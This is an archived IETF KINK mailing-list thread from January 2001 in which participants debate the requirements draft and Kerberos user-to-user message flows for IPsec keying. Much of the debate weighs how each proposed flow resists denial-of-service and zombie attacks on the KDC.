; Tue, 23 Jan 2001 16:45:47 -0800 (PST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-4.cisco.com (8.9.3/8.9.1) with ESMTP id QAA21736; Tue, 23 Jan 2001 16:51:25 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAR00039; Tue, 23 Jan 2001 16:51:21 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id QAA26759; Tue, 23 Jan 2001 16:51:21 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14958.9993.50274.374931@thomasm-u1.cisco.com> Date: Tue, 23 Jan 2001 16:51:21 -0800 (PST) To: Derek Atkins Cc: ietf-kink@vpnc.org, mat@cisco.com Subject: My comments on the KINK Requirements In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: So, I'm trying to collect the conclusion of this thread to finalize the requirements draft. I'd like to get this done soon. I'll respond to each of these, and hopefully we can wrap this up. Derek Atkins writes: > KINK must meet the following requirements at a minimum: > > - The protocol must use Kerberos to create session keys in a secure > fashion > > A side effect of this is that the protocol must use the Kerberos > session key as part of the generation of IPSec keys. Correct. Do you think we need to be explicit about the generation part? > > - The protocol must be able to start up SA's regardless of any > client/server disposition in the keying protocol > > In other words, either IPSec peer can be the initiator or responder, > regardless of whether it's a Kerberos 'client' (TGT-only) or Kerberos > 'server' (has a keytab). Correct. > > - Kerberos makes a distinction between clients and servers; IPsec > does not. The protocol must allow for IPsec security associations > to be initiated by both servers and clients, thus preserving > IPsec's peer to peer nature. > > Isn't this the same thing, just said differently? Yeah, probably. Which version do you like better? :-) > - The protocol must be able to initially authenticate using either > secret key, or public key authentication. > > - The protocol must accommodate any combination of public and secret > key peers > > I'm not convinced we need to reference public/secret key. We just use > what Kerberos provides. So, I think these two requirements can > probably be rewritten to say: > > - The protocol must allow an initiator or a responder (or both) to > authenticate with just a TGT (using Kerberos User-to-User). This is what lead to your discussion with Matt. I'm cool with your final wording if Matt is. > - The protocol must be capable of rekeying without the assistance of > the KDC if the session ticket is still valid > > Using the phrase "Kerberos session ticket" is probably clearer. Ok. > The following sections do not belong in the requirements draft: Right. Will nuke. From owner-ietf-kink Tue Jan 23 17:34:19 2001 Received: by ns.secondary.com (8.9.3/8.9.3) id RAA17819 for ietf-kink-bks; Tue, 23 Jan 2001 17:34:19 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id RAA17815 for ; Tue, 23 Jan 2001 17:34:17 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id UAA19202; Tue, 23 Jan 2001 20:40:24 -0500 To: Michael Thomas Cc: "Medvinsky, Sasha (SD-EX)" , Jonathan Trostle , ietf-kink@vpnc.org Subject: Re: KINK user-user scenario References: <97DEDE66B3DCD11199D200805FA71BE202FD4AF1@NTAS0027> <14958.8919.920126.391626@thomasm-u1.cisco.com> From: Derek Atkins Date: 23 Jan 2001 20:40:24 -0500 In-Reply-To: Michael Thomas's message of "Tue, 23 Jan 2001 16:33:27 -0800 (PST)" Message-ID: Lines: 79 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Michael Thomas writes: > Derek Atkins writes: > > App-Client App-Server KDC > > <--- Inititate > > > > { if no ticket is cached ... > > > > { direct case: > > TGS_REQ ---------------------> > > <------------------------TGS_REP > > } > > { U2U case (or if direct case failed): > > GetTGT* ---------> > > <---------- U2U TGT > > TGS_REQ ---------------------> > > <------------------------TGS_REP > > } > > } > > > > AP_REQ* --------> > > <--------- AP_REP > > [snip] > How so? This looks the same to me as any other wakeup > scheme: a minimal amount of work by the attacker (the > "server" in your diagram) causes the attacked (client, > KDC) to generate a non-minimal amount of work and > traffic. This looks like the same old Zombie kind of > attack as before. It's a modification to the wakeup scheme. Honestly, I was thinking about it in terms of U2U, not regular mode. In the U2U mode, this does protect against the DoS attacks. But you're right, the regular case only protects the App Server, not the client or KDC (which I suppose implies an impact on the App Server in that the client will try to initiate connections with anyone). This hybrid was based on the pushback of "too many messages". Obviously we can go back to my prior suggestion which basically adds one round trip in order to perform the handoff. As I said, this is a question for the WG. How important is the handoff situation, versus how many extra messages do we want to add to support the handoff? And which is more important to the WG, supporting a handoff situation with fewer messages or protecting against DoS? (Putting on my chairman hat, I would suggest that protecting against DoS is more important than supporting handoffs with fewer messages -- without my hat I consider handoffs to be a lower priority). So, we can go back to my older suggestion: C S K <-- Init Ack --> (Ack == "GetTGT") <--- TGT TGS_REQ -------> (REQ/REP can be repeated for service ticket <----------- TGS_REP to U2U failover or ignored for cached tickets) AP_REQ-> <- AP_REP Where the TGS_REQ/TGS_REP could theoretically be either a regular service-ticket request, a U2U request, or potentially both. Obviously using U2U is just as cheap as anything else at this point. ;) I believe that this protocol _does_ protect against the DoS attacks in all cases, but it does add one extra roundtrip in the case of a non-U2U case over Sasha's wakeup protocol. > Mike -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Tue Jan 23 17:48:37 2001 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id RAA18437 for ietf-kink-bks; Tue, 23 Jan 2001 17:48:37 -0800 (PST) Received: from ariel.gi.com (ariel.gi.com [168.84.84.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id RAA18433 for ; Tue, 23 Jan 2001 17:48:35 -0800 (PST) Received: from ntas0028.gi.com ([168.84.84.98]) by GI.COM (PMDF V5.2-31 #46260) with ESMTP id <01JZ97GT1QHAF0M1VF@GI.COM> for ietf-kink@vpnc.org; Tue, 23 Jan 2001 17:54:09 PST Received: by ntas0028.gi.com with Internet Mail Service (5.5.2650.21) id ; Tue, 23 Jan 2001 17:52:11 -0500 Content-return: allowed Date: Tue, 23 Jan 2001 20:56:03 -0500 From: "Medvinsky, Sasha (SD-EX)" Subject: RE: KINK user-user scenario To: "'Derek Atkins'" , Michael Thomas Cc: Jonathan Trostle , ietf-kink@vpnc.org Message-id: <97DEDE66B3DCD11199D200805FA71BE202FD4B26@NTAS0027> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Derek, I don't agree that your proposal below protects against all types of DOS attacks. It is no different in that respect than my proposal. The adversary doesn't even have to possess a valid TGT. When the client receives a response to a "GetTGT", it has no way to verify the TGT and simply has to send it over to the KDC. If the adversary wants to have a valid TGT, it can get that as well - by snooping. Sasha. > -----Original Message----- > From: Derek Atkins [mailto:warlord@MIT.EDU] > Sent: Tuesday, January 23, 2001 5:40 PM > To: Michael Thomas > Cc: Medvinsky, Sasha (SD-EX); Jonathan Trostle; ietf-kink@vpnc.org > Subject: Re: KINK user-user scenario > > > Michael Thomas writes: > > > Derek Atkins writes: > > > App-Client App-Server KDC > > > <--- Inititate > > > > > > { if no ticket is cached ... > > > > > > { direct case: > > > TGS_REQ ---------------------> > > > <------------------------TGS_REP > > > } > > > { U2U case (or if direct case failed): > > > GetTGT* ---------> > > > <---------- U2U TGT > > > TGS_REQ ---------------------> > > > <------------------------TGS_REP > > > } > > > } > > > > > > AP_REQ* --------> > > > <--------- AP_REP > > > > [snip] > > How so? This looks the same to me as any other wakeup > > scheme: a minimal amount of work by the attacker (the > > "server" in your diagram) causes the attacked (client, > > KDC) to generate a non-minimal amount of work and > > traffic. This looks like the same old Zombie kind of > > attack as before. > > It's a modification to the wakeup scheme. Honestly, I was thinking > about it in terms of U2U, not regular mode. In the U2U mode, this > does protect against the DoS attacks. But you're right, the regular > case only protects the App Server, not the client or KDC (which I > suppose implies an impact on the App Server in that the client will > try to initiate connections with anyone). > > This hybrid was based on the pushback of "too many messages". > Obviously we can go back to my prior suggestion which basically adds > one round trip in order to perform the handoff. > > As I said, this is a question for the WG. How important is the > handoff situation, versus how many extra messages do we want to add to > support the handoff? And which is more important to the WG, > supporting a handoff situation with fewer messages or protecting > against DoS? (Putting on my chairman hat, I would suggest that > protecting against DoS is more important than supporting handoffs with > fewer messages -- without my hat I consider handoffs to be a lower > priority). > > So, we can go back to my older suggestion: > > C S K > <-- Init > Ack --> (Ack == "GetTGT") > <--- TGT > TGS_REQ -------> (REQ/REP can be repeated for > service ticket > <----------- TGS_REP to U2U failover or ignored for > cached tickets) > AP_REQ-> > <- AP_REP > > Where the TGS_REQ/TGS_REP could theoretically be either a regular > service-ticket request, a U2U request, or potentially both. Obviously > using U2U is just as cheap as anything else at this point. ;) > > I believe that this protocol _does_ protect against the DoS attacks in > all cases, but it does add one extra roundtrip in the case of a > non-U2U case over Sasha's wakeup protocol. > > > Mike > > -derek > > -- > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > Member, MIT Student Information Processing Board (SIPB) > URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH > warlord@MIT.EDU PGP key available > From owner-ietf-kink Tue Jan 23 18:08:35 2001 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id SAA18843 for ietf-kink-bks; Tue, 23 Jan 2001 18:08:35 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id SAA18838 for ; Tue, 23 Jan 2001 18:08:33 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id VAA19224; Tue, 23 Jan 2001 21:14:40 -0500 To: "Medvinsky, Sasha (SD-EX)" Cc: Michael Thomas , Jonathan Trostle , ietf-kink@vpnc.org Subject: Re: KINK user-user scenario References: <97DEDE66B3DCD11199D200805FA71BE202FD4B26@NTAS0027> From: Derek Atkins Date: 23 Jan 2001 21:14:40 -0500 In-Reply-To: "Medvinsky, Sasha's message of "Tue, 23 Jan 2001 20:56:03 -0500" Message-ID: Lines: 129 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: You're forgetting the client and server cookies :) The client verifies that the TGT is from the real server because it contains a cookie that the client inserted into the GetTGT request. The attacker would have to guess the client's 'cookie' in order to send a TGT that the client will accept. In other words, the GetTGT request contains two cookies, the server cookie as well as the client cookie. Sure, you're sacked if the attacker can snoop on the network. But in case you have other, bigger problems (and zombies are the worst of your worries). Note that the validity of the TGT is being completely ignored. What we get from this protocol is that both the client and the server are mutually aware that they want to perform a handoff. -derek "Medvinsky, Sasha (SD-EX)" writes: > Derek, > > I don't agree that your proposal below protects against all types of DOS > attacks. It is no different in that respect than my proposal. The > adversary doesn't even have to possess a valid TGT. When the client receives > a response to a "GetTGT", it has no way to verify the TGT and simply has to > send it over to the KDC. If the adversary wants to have a valid TGT, it can > get that as well - by snooping. > > Sasha. > > > > -----Original Message----- > > From: Derek Atkins [mailto:warlord@MIT.EDU] > > Sent: Tuesday, January 23, 2001 5:40 PM > > To: Michael Thomas > > Cc: Medvinsky, Sasha (SD-EX); Jonathan Trostle; ietf-kink@vpnc.org > > Subject: Re: KINK user-user scenario > > > > > > Michael Thomas writes: > > > > > Derek Atkins writes: > > > > App-Client App-Server KDC > > > > <--- Inititate > > > > > > > > { if no ticket is cached ... > > > > > > > > { direct case: > > > > TGS_REQ ---------------------> > > > > <------------------------TGS_REP > > > > } > > > > { U2U case (or if direct case failed): > > > > GetTGT* ---------> > > > > <---------- U2U TGT > > > > TGS_REQ ---------------------> > > > > <------------------------TGS_REP > > > > } > > > > } > > > > > > > > AP_REQ* --------> > > > > <--------- AP_REP > > > > > > [snip] > > > How so? This looks the same to me as any other wakeup > > > scheme: a minimal amount of work by the attacker (the > > > "server" in your diagram) causes the attacked (client, > > > KDC) to generate a non-minimal amount of work and > > > traffic. This looks like the same old Zombie kind of > > > attack as before. > > > > It's a modification to the wakeup scheme. Honestly, I was thinking > > about it in terms of U2U, not regular mode. In the U2U mode, this > > does protect against the DoS attacks. But you're right, the regular > > case only protects the App Server, not the client or KDC (which I > > suppose implies an impact on the App Server in that the client will > > try to initiate connections with anyone). > > > > This hybrid was based on the pushback of "too many messages". > > Obviously we can go back to my prior suggestion which basically adds > > one round trip in order to perform the handoff. > > > > As I said, this is a question for the WG. How important is the > > handoff situation, versus how many extra messages do we want to add to > > support the handoff? And which is more important to the WG, > > supporting a handoff situation with fewer messages or protecting > > against DoS? (Putting on my chairman hat, I would suggest that > > protecting against DoS is more important than supporting handoffs with > > fewer messages -- without my hat I consider handoffs to be a lower > > priority). > > > > So, we can go back to my older suggestion: > > > > C S K > > <-- Init > > Ack --> (Ack == "GetTGT") > > <--- TGT > > TGS_REQ -------> (REQ/REP can be repeated for > > service ticket > > <----------- TGS_REP to U2U failover or ignored for > > cached tickets) > > AP_REQ-> > > <- AP_REP > > > > Where the TGS_REQ/TGS_REP could theoretically be either a regular > > service-ticket request, a U2U request, or potentially both. Obviously > > using U2U is just as cheap as anything else at this point. ;) > > > > I believe that this protocol _does_ protect against the DoS attacks in > > all cases, but it does add one extra roundtrip in the case of a > > non-U2U case over Sasha's wakeup protocol. > > > > > Mike > > > > -derek > > > > -- > > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > > Member, MIT Student Information Processing Board (SIPB) > > URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH > > warlord@MIT.EDU PGP key available > > -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Wed Jan 24 12:11:13 2001 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id MAA11842 for ietf-kink-bks; Wed, 24 Jan 2001 12:11:13 -0800 (PST) Received: from ariel.gi.com (ariel.gi.com [168.84.84.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA11838 for ; Wed, 24 Jan 2001 12:11:10 -0800 (PST) Received: from ntas0028.gi.com ([168.84.84.98]) by GI.COM (PMDF V5.2-31 #46260) with ESMTP id <01JZA9YXXKOSF0M1TG@GI.COM> for ietf-kink@vpnc.org; Wed, 24 Jan 2001 12:16:50 PST Received: by ntas0028.gi.com with Internet Mail Service (5.5.2650.21) id ; Wed, 24 Jan 2001 12:14:51 -0500 Content-return: allowed Date: Wed, 24 Jan 2001 15:18:28 -0500 From: "Medvinsky, Sasha (SD-EX)" Subject: RE: KINK user-user scenario To: "'Derek Atkins'" Cc: Michael Thomas , Jonathan Trostle , ietf-kink@vpnc.org Message-id: <97DEDE66B3DCD11199D200805FA71BE202FD4B2B@NTAS0027> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Derek, What I meant is that anyone can send the 'Initiate' command in your proposed sequence and when the bogus server then gets a GetTGT request, it can reply with whatever TGT it likes - valid or not. In my proposal: server -> client: Authenticate Request client -> server: AP Request server -> client: AP Reply The Authenticate Request and AP Request are also tied together with a 'server cookie' and so if the Authenticate Request is from an adversary impersonating some server and the AP Request is to a real server - the real server will drop the AP Request. So, the Denial of Service attack wasn't on the server. Mike Thomas brought up the issue of the zombie attacks on the KDC, where the clients will send TGS Requests to the KDC after a bogus Authenticate Request. Your proposal doesn't help with this denial of service attack - anyone can still send the 'Initiate' and wait for the GetTGT, respond with anything they like. The KDC would still get hit with the TGS requests for user-to-user tickets possibly with bogus server TGTs. So, it requires an adversary to implement a couple more messages. If you want to use the user-to-user mode, the Authenticate Request could contain the server's TGT as Mike once proposed. I am not sure that this denial of service attack on the KDC is a big problem, but my point is that the extra two messages in your proposed flows (GetTGT requst and response) don't provide any additional security. Sasha. > -----Original Message----- > From: Derek Atkins [mailto:warlord@MIT.EDU] > Sent: Tuesday, January 23, 2001 6:15 PM > To: Medvinsky, Sasha (SD-EX) > Cc: Michael Thomas; Jonathan Trostle; ietf-kink@vpnc.org > Subject: Re: KINK user-user scenario > > > You're forgetting the client and server cookies :) > > The client verifies that the TGT is from the real server because it > contains a cookie that the client inserted into the GetTGT request. > The attacker would have to guess the client's 'cookie' in order to > send a TGT that the client will accept. In other words, the GetTGT > request contains two cookies, the server cookie as well as the client > cookie. > > Sure, you're sacked if the attacker can snoop on the network. But in > case you have other, bigger problems (and zombies are the worst of > your worries). > > Note that the validity of the TGT is being completely ignored. What > we get from this protocol is that both the client and the server are > mutually aware that they want to perform a handoff. > > -derek > > "Medvinsky, Sasha (SD-EX)" writes: > > > Derek, > > > > I don't agree that your proposal below protects against all > types of DOS > > attacks. It is no different in that respect than my proposal. The > > adversary doesn't even have to possess a valid TGT. When > the client receives > > a response to a "GetTGT", it has no way to verify the TGT > and simply has to > > send it over to the KDC. If the adversary wants to have a > valid TGT, it can > > get that as well - by snooping. > > > > Sasha. > > > > > > > -----Original Message----- > > > From: Derek Atkins [mailto:warlord@MIT.EDU] > > > Sent: Tuesday, January 23, 2001 5:40 PM > > > To: Michael Thomas > > > Cc: Medvinsky, Sasha (SD-EX); Jonathan Trostle; ietf-kink@vpnc.org > > > Subject: Re: KINK user-user scenario > > > > > > > > > Michael Thomas writes: > > > > > > > Derek Atkins writes: > > > > > App-Client App-Server KDC > > > > > <--- Inititate > > > > > > > > > > { if no ticket is cached ... > > > > > > > > > > { direct case: > > > > > TGS_REQ ---------------------> > > > > > <------------------------TGS_REP > > > > > } > > > > > { U2U case (or if direct case failed): > > > > > GetTGT* ---------> > > > > > <---------- U2U TGT > > > > > TGS_REQ ---------------------> > > > > > <------------------------TGS_REP > > > > > } > > > > > } > > > > > > > > > > AP_REQ* --------> > > > > > <--------- AP_REP > > > > > > > > [snip] > > > > How so? This looks the same to me as any other wakeup > > > > scheme: a minimal amount of work by the attacker (the > > > > "server" in your diagram) causes the attacked (client, > > > > KDC) to generate a non-minimal amount of work and > > > > traffic. This looks like the same old Zombie kind of > > > > attack as before. > > > > > > It's a modification to the wakeup scheme. Honestly, I > was thinking > > > about it in terms of U2U, not regular mode. In the U2U mode, this > > > does protect against the DoS attacks. But you're right, > the regular > > > case only protects the App Server, not the client or KDC (which I > > > suppose implies an impact on the App Server in that the > client will > > > try to initiate connections with anyone). > > > > > > This hybrid was based on the pushback of "too many messages". > > > Obviously we can go back to my prior suggestion which > basically adds > > > one round trip in order to perform the handoff. > > > > > > As I said, this is a question for the WG. How important is the > > > handoff situation, versus how many extra messages do we > want to add to > > > support the handoff? And which is more important to the WG, > > > supporting a handoff situation with fewer messages or protecting > > > against DoS? (Putting on my chairman hat, I would suggest that > > > protecting against DoS is more important than supporting > handoffs with > > > fewer messages -- without my hat I consider handoffs to be a lower > > > priority). > > > > > > So, we can go back to my older suggestion: > > > > > > C S K > > > <-- Init > > > Ack --> (Ack == "GetTGT") > > > <--- TGT > > > TGS_REQ -------> (REQ/REP can be repeated for > > > service ticket > > > <----------- TGS_REP to U2U failover or ignored for > > > cached tickets) > > > AP_REQ-> > > > <- AP_REP > > > > > > Where the TGS_REQ/TGS_REP could theoretically be either a regular > > > service-ticket request, a U2U request, or potentially > both. Obviously > > > using U2U is just as cheap as anything else at this point. ;) > > > > > > I believe that this protocol _does_ protect against the > DoS attacks in > > > all cases, but it does add one extra roundtrip in the case of a > > > non-U2U case over Sasha's wakeup protocol. > > > > > > > Mike > > > > > > -derek > > > > > > -- > > > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > > > Member, MIT Student Information Processing Board (SIPB) > > > URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH > > > warlord@MIT.EDU PGP key available > > > > > -- > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > Member, MIT Student Information Processing Board (SIPB) > URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH > warlord@MIT.EDU PGP key available > From owner-ietf-kink Wed Jan 24 12:22:02 2001 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id MAA13083 for ietf-kink-bks; Wed, 24 Jan 2001 12:22:02 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA13065 for ; Wed, 24 Jan 2001 12:21:59 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id PAA19925; Wed, 24 Jan 2001 15:28:04 -0500 To: "Medvinsky, Sasha (SD-EX)" Cc: Michael Thomas , Jonathan Trostle , ietf-kink@vpnc.org Subject: Re: KINK user-user scenario References: <97DEDE66B3DCD11199D200805FA71BE202FD4B2B@NTAS0027> From: Derek Atkins Date: 24 Jan 2001 15:28:04 -0500 In-Reply-To: "Medvinsky, Sasha's message of "Wed, 24 Jan 2001 15:18:28 -0500" Message-ID: Lines: 210 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Ahh, but those extra packets DO provide extra security -- it requires the attacker to not only stay in the loop but to provide their real IP Address in order to get proper responses from the client and back to the client. This type of attack is extremely easy to track down, and it directly points to the attacker. In other words, in my version of the protocol the attacker must provide their real identity (IP Address) before any work is done by the client or KDC. In your version, the attacker could send a fake source-address and never be tracked down. Also, you leave out the client->KDC and KDC->client messages (before the AP Request).. Your protocol is just as suspect as mine in that respect -- the client would make a KDC request if it needs a ticket (just like it would in mine). The difference is that in my protocol, the client knows that the "server" (or attacker) is real and wants to be a part of the protocol. If it's an attacker, we know who it is. -derek "Medvinsky, Sasha (SD-EX)" writes: > Derek, > > What I meant is that anyone can send the 'Initiate' command in your proposed > sequence and when the bogus server then gets a GetTGT request, it can reply > with whatever TGT it likes - valid or not. > > In my proposal: server -> client: Authenticate Request > client -> server: AP Request > server -> client: AP Reply > > The Authenticate Request and AP Request are also tied together with a > 'server cookie' and so if the Authenticate Request is from an adversary > impersonating some server and the AP Request is to a real server - the real > server will drop the AP Request. So, the Denial of Service attack wasn't on > the server. Mike Thomas brought up the issue of the zombie attacks on the > KDC, where the clients will send TGS Requests to the KDC after a bogus > Authenticate Request. > > Your proposal doesn't help with this denial of service attack - anyone can > still send the 'Initiate' and wait for the GetTGT, respond with anything > they like. The KDC would still get hit with the TGS requests for > user-to-user tickets possibly with bogus server TGTs. So, it requires an > adversary to implement a couple more messages. If you want to use the > user-to-user mode, the Authenticate Request could contain the server's TGT > as Mike once proposed. > > I am not sure that this denial of service attack on the KDC is a big > problem, but my point is that the extra two messages in your proposed flows > (GetTGT requst and response) don't provide any additional security. > > Sasha. > > > -----Original Message----- > > From: Derek Atkins [mailto:warlord@MIT.EDU] > > Sent: Tuesday, January 23, 2001 6:15 PM > > To: Medvinsky, Sasha (SD-EX) > > Cc: Michael Thomas; Jonathan Trostle; ietf-kink@vpnc.org > > Subject: Re: KINK user-user scenario > > > > > > You're forgetting the client and server cookies :) > > > > The client verifies that the TGT is from the real server because it > > contains a cookie that the client inserted into the GetTGT request. > > The attacker would have to guess the client's 'cookie' in order to > > send a TGT that the client will accept. In other words, the GetTGT > > request contains two cookies, the server cookie as well as the client > > cookie. > > > > Sure, you're sacked if the attacker can snoop on the network. But in > > case you have other, bigger problems (and zombies are the worst of > > your worries). > > > > Note that the validity of the TGT is being completely ignored. What > > we get from this protocol is that both the client and the server are > > mutually aware that they want to perform a handoff. > > > > -derek > > > > "Medvinsky, Sasha (SD-EX)" writes: > > > > > Derek, > > > > > > I don't agree that your proposal below protects against all > > types of DOS > > > attacks. It is no different in that respect than my proposal. The > > > adversary doesn't even have to possess a valid TGT. When > > the client receives > > > a response to a "GetTGT", it has no way to verify the TGT > > and simply has to > > > send it over to the KDC. If the adversary wants to have a > > valid TGT, it can > > > get that as well - by snooping. > > > > > > Sasha. > > > > > > > > > > -----Original Message----- > > > > From: Derek Atkins [mailto:warlord@MIT.EDU] > > > > Sent: Tuesday, January 23, 2001 5:40 PM > > > > To: Michael Thomas > > > > Cc: Medvinsky, Sasha (SD-EX); Jonathan Trostle; ietf-kink@vpnc.org > > > > Subject: Re: KINK user-user scenario > > > > > > > > > > > > Michael Thomas writes: > > > > > > > > > Derek Atkins writes: > > > > > > App-Client App-Server KDC > > > > > > <--- Inititate > > > > > > > > > > > > { if no ticket is cached ... > > > > > > > > > > > > { direct case: > > > > > > TGS_REQ ---------------------> > > > > > > <------------------------TGS_REP > > > > > > } > > > > > > { U2U case (or if direct case failed): > > > > > > GetTGT* ---------> > > > > > > <---------- U2U TGT > > > > > > TGS_REQ ---------------------> > > > > > > <------------------------TGS_REP > > > > > > } > > > > > > } > > > > > > > > > > > > AP_REQ* --------> > > > > > > <--------- AP_REP > > > > > > > > > > [snip] > > > > > How so? This looks the same to me as any other wakeup > > > > > scheme: a minimal amount of work by the attacker (the > > > > > "server" in your diagram) causes the attacked (client, > > > > > KDC) to generate a non-minimal amount of work and > > > > > traffic. This looks like the same old Zombie kind of > > > > > attack as before. > > > > > > > > It's a modification to the wakeup scheme. Honestly, I > > was thinking > > > > about it in terms of U2U, not regular mode. In the U2U mode, this > > > > does protect against the DoS attacks. But you're right, > > the regular > > > > case only protects the App Server, not the client or KDC (which I > > > > suppose implies an impact on the App Server in that the > > client will > > > > try to initiate connections with anyone). > > > > > > > > This hybrid was based on the pushback of "too many messages". > > > > Obviously we can go back to my prior suggestion which > > basically adds > > > > one round trip in order to perform the handoff. > > > > > > > > As I said, this is a question for the WG. How important is the > > > > handoff situation, versus how many extra messages do we > > want to add to > > > > support the handoff? And which is more important to the WG, > > > > supporting a handoff situation with fewer messages or protecting > > > > against DoS? (Putting on my chairman hat, I would suggest that > > > > protecting against DoS is more important than supporting > > handoffs with > > > > fewer messages -- without my hat I consider handoffs to be a lower > > > > priority). > > > > > > > > So, we can go back to my older suggestion: > > > > > > > > C S K > > > > <-- Init > > > > Ack --> (Ack == "GetTGT") > > > > <--- TGT > > > > TGS_REQ -------> (REQ/REP can be repeated for > > > > service ticket > > > > <----------- TGS_REP to U2U failover or ignored for > > > > cached tickets) > > > > AP_REQ-> > > > > <- AP_REP > > > > > > > > Where the TGS_REQ/TGS_REP could theoretically be either a regular > > > > service-ticket request, a U2U request, or potentially > > both. Obviously > > > > using U2U is just as cheap as anything else at this point. ;) > > > > > > > > I believe that this protocol _does_ protect against the > > DoS attacks in > > > > all cases, but it does add one extra roundtrip in the case of a > > > > non-U2U case over Sasha's wakeup protocol. > > > > > > > > > Mike > > > > > > > > -derek > > > > > > > > -- > > > > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > > > > Member, MIT Student Information Processing Board (SIPB) > > > > URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH > > > > warlord@MIT.EDU PGP key available > > > > > > > > -- > > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > > Member, MIT Student Information Processing Board (SIPB) > > URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH > > warlord@MIT.EDU PGP key available > > -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Wed Jan 24 13:08:34 2001 Received: by ns.secondary.com (8.9.3/8.9.3) id NAA18089 for ietf-kink-bks; Wed, 24 Jan 2001 13:08:34 -0800 (PST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA18083 for ; Wed, 24 Jan 2001 13:08:33 -0800 (PST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id NAA18458; Wed, 24 Jan 2001 13:14:21 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAR00051; Wed, 24 Jan 2001 13:14:09 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id NAA27058; Wed, 24 Jan 2001 13:14:09 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14959.17824.917560.516615@thomasm-u1.cisco.com> Date: Wed, 24 Jan 2001 13:14:08 -0800 (PST) To: Derek Atkins Cc: "Medvinsky, Sasha (SD-EX)" , Michael Thomas , Jonathan Trostle , ietf-kink@vpnc.org Subject: Re: KINK user-user scenario In-Reply-To: References: 